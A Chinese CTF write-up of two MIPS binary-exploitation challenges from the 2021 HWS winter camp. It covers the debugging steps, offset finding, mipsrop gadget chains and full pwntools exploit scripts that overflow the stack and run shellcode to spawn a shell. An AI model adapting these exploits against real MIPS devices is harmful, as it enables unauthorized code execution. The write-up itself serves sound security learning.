2021HWS冬令营入营赛赛题–Mplogin
32位小端序,并且全红,xuanxuan
老师说MIPS不支持NX,去查阅资料,没找到相关的文章,不过在复现RV110W的时候,它确实没有NX…
当然MIPS硬件本身也不支持NX机制
程序就两主要的函数,逻辑也很简单,经典read
无截断泄露地址,这个地址是什么地址等下动态的时候在看
第二个函数就存在溢出,人家v2就20字节读了36字节,溢出到v3了都,下一个`read`的时候,就能无限制读,直接覆盖返回地址,劫持控制流,后面还有检查,注意一下就行...
开始调试…和X86不同,异架构的PWN就需要用到远程调试
1 qemu-mipsel -g 1234 -L ./ ./Mplogin
-g :暴露调试端口
-L :在程序寻找动态链接库的时候优先在此目录下寻找
之后,我们就可以再启动一个窗口用gdb-mutilarch
连接上我们的qemu
暴露的调试接口,连接之后就可以进行调试啦!
1 2 3 4 5 gdb-multiarch set arch mipsset endian littletarget remote :1234 c
再0x4008D4
处下断点,看看它泄露的地址到底是啥,它因为没有开地址随机化,所以一直都是这个地址,很容易就认出来,可以看到泄露的是栈顶指针
由于MIPS的特殊性,在函数体中$fp
和 $sp
是相同的,即都指向栈顶,故这里泄露出的就是main
函数进入sub_400840
是的栈顶地址
下面测试在第二个函数溢出的偏移,直接发生cyclic(200)
的字符,测试出偏移是30(不包括前面的0123456789
1 io.send('0123456789' +cyclic(200 ))
直接jmp sp
加shellcode
拿sehll
一气呵成…
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context(arch='mips' ,endian='little' ,log_level='debug' ) io = process(["qemu-mipsel" ,"-g" ,"1234" ,"-L" ,"./" ,"./Mplogin" ]) elf = ELF('./Mplogin' ) io.recvuntil('Username : ' ) io.send('admin' +'a' *19 ) io.recvuntil('a' *19 ) addr = u32(io.recv(4 )) print ("[*]addr => " +hex (addr))io.recvuntil('Pre_Password : ' ) io.send('access' +'a' *14 +p32(0x100 )) io.send('0123456789' .ljust(0x28 ,'a' )+p32(addr)+asm(shellcraft.sh())) io.interactive()
小问题&&以后要注意的问题:
调试的时候一堆SW是什么鬼???
以后在发送数据的时候千万要注意,换行符对payload
的影响…
2021HWS冬令营入营赛赛题–pwn
开了canary
,但在实际测试中canary
并没有起效,怀疑是qemu
本身不支持canary
(不太清楚,qemu本身不支持NX是真的)
程序就一个pwn
函数,应该就是关键函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 v6 = (_BYTE *)malloc (0x200 ); puts ((int )"Enter the group number: " ); if ( !_isoc99_scanf("%d" , v18) ) { printf ("Input error!" ); exit (-1 ); } if ( !v18[0 ] || v18[0 ] >= 0xA u ) { fwrite("The numbers is illegal! Exit...\n" , 1 , 32 , stderr ); exit (-1 ); } v18[1 ] = (int )&v3; v9 = 36 ; v10 = 36 * v18[0 ]; v11 = 36 * v18[0 ] - 1 ; v12 = v4; memset (v4, 0 , 36 * v18[0 ]); for ( i = 0 ; ; ++i ) { result = i < v18[0 ]; if ( i >= v18[0 ] ) break ; v13 = (int *)((char *)v12 + i * v9); v14 = v13; memset (v6, 0 , 4 ); puts ((int )"Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' " ); v15 = read(0 , v6, 768 ); if ( v13 ) { v0 = atoi(v6); *v14 = v0; v16 = strchr (v6, ':' ); for ( j = 0 ; v6++; ++j ) { if ( *v6 == '\n' ) { v5 = v6; break ; } } v17 = &v5[-v16]; if ( !v16 ) { puts ((int )"format error!" ); exit (-1 ); } memcpy (v14 + 1 , v16 + 1 , v17); } else { printf ("Error!" ); v14[1 ] = 'aaa\0' ; } } return result; }
很快可以发现溢出点:
1 2 3 4 v6 = (_BYTE *)malloc (0x200 ); v15 = read(0 , v6, 768 ); v17 = &v5[-v16]; memcpy (v14 + 1 , v16 + 1 , v17);
它先是堆溢出然后再把堆上的内容memcpy
到栈上
那接下来就该调试偏移了,cyclic 200
发过去,发现覆盖到FP但到不了PC寄存器,只能自己算算偏移
打开栈布局看看
1 paylaod = '1:' +'a' *0x20 +'a' *0x70 +p32(0xdeadbeef )
可以看到成功的覆盖了返回地址
由于此程序是静态链接的文件,所以暂时不考虑ret2libc
,还是ROP+shellcode
的组合,通过mipsrop
找到可用的gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Python>mipsrop.stackfinder() --------------------------------------------------------------------------------------------------------- | Address | Action | Control Jump | --------------------------------------------------------------------------------------------------------- | 0x004273C4 | addiu $a2,$sp,0x70+var_C | jalr $s0 | | 0x0042BCD0 | addiu $a2,$sp,0x88+var_C | jalr $s2 | | 0x0042FA00 | addiu $v1,$sp,0x138+var_104 | jalr $s1 | | 0x004491F8 | addiu $a2,$sp,0x44+var_C | jalr $s1 | | 0x0044931C | addiu $v0,$sp,0x30+var_8 | jalr $s1 | | 0x00449444 | addiu $a2,$sp,0x44+var_C | jalr $s1 | | 0x0044AD58 | addiu $a1,$sp,0x60+var_28 | jalr $s4 | | 0x0044AEFC | addiu $a1,$sp,0x64+var_28 | jalr $s5 | | 0x0044B154 | addiu $a1,$sp,0x6C+var_38 | jalr $s2 | | 0x0044B1EC | addiu $v0,$sp,0x6C+var_40 | jalr $s2 | | 0x0044B3EC | addiu $v0,$sp,0x170+var_130 | jalr $s0 | | 0x00454E94 | addiu $s7,$sp,0xB8+var_98 | jalr $s3 | | 0x00465BEC | addiu $a1,$sp,0xC4+var_98 | jalr $s0 | --------------------------------------------------------------------------------------------------------- Found 13 matching gadgets Python>mipsrop.find("move $t9,$a2") --------------------------------------------------------------------------------------------------------- | Address | Action | Control Jump | --------------------------------------------------------------------------------------------------------- | 0x00421684 | move $t9,$a2 | jr $a2 | --------------------------------------------------------------------------------------------------------- Found 1 matching gadgets
找到这两个可以用的gadget
,第一条是将0x70+var_C
加到sp
上,var_C
只有在程序运行的时候才知道,所以只能动调时候看偏移,加完之后呢,就把它放到$a2
当中,然后跳转到s0
去执行,第二条呢,就是把$a2
放到$t9
,再跳转到$a2
,我们的目的就是在0x70+var_C
上布置我们的shellcode
,然后再跳到这上面去执行,但是仔细分析一下会发现,$a2
是指向了我们的shellcode
,但是却少了$s0
到$a2
的一个桥梁,回顾之前覆盖$ra
寄存器的时候,好像把上面的一些寄存器也给覆盖了…
1 0x004273C4 | addiu $a2,$sp,0x70+var_C | jalr $s00x00421684 | move $t9,$a2 | jr $a2
没错,因为这是寄存器的值再函数开始的时候就入栈了
既然有入栈那必然有出栈
所以我们就能搭建起$s0
到$a2
的桥梁,既是覆盖的时候把$s0
覆盖到跳转$a2
的gadget
即可,计算方法:0x90-$ra的偏移+$s0的偏移 ,并且再跳转$ra
寄存器之前,它还清理了栈帧,所以shellcode
放在$ra
寄存器后的偏移即可,这也解释了之前的一堆sw
是什么,这也是MIPS的特性,它并没有push
和pop
指令,而是通过sw
和lw
来实现入栈和出栈
在调试的的时候看到addiu $a2,$sp,0x70+var_C最终变成了addiu $a2,$sp,0x64,所以把shellcode的偏移改成0x64就可以不用靠”nop”滑板指令进行填充
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(arch='mips' ,endian='big' ,log_level='debug' ) io = process(["qemu-mips" ,"./pwn" ]) ra = 0x004273C4 s0 = 0x00421684 shellcode = asm(shellcraft.sh()) io.sendlineafter("number:" ,"1" ) io.recvuntil("Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' " ) paylaod = '1:' +'a' *0x6c +p32(s0)+'a' *0x20 +p32(ra) paylaod += 'a' *0x60 +asm('nop;nop;nop;nop' )+shellcode io.sendline(paylaod) io.interactive()
总结: 原来…ghidra
里面的var_C
这类参数是已经算好了,我就奇怪,为啥xuanxuan
老师的各种参数都没有,我就有,现在就方便多了!
下载地址
补充资料:
MIPS汇编学习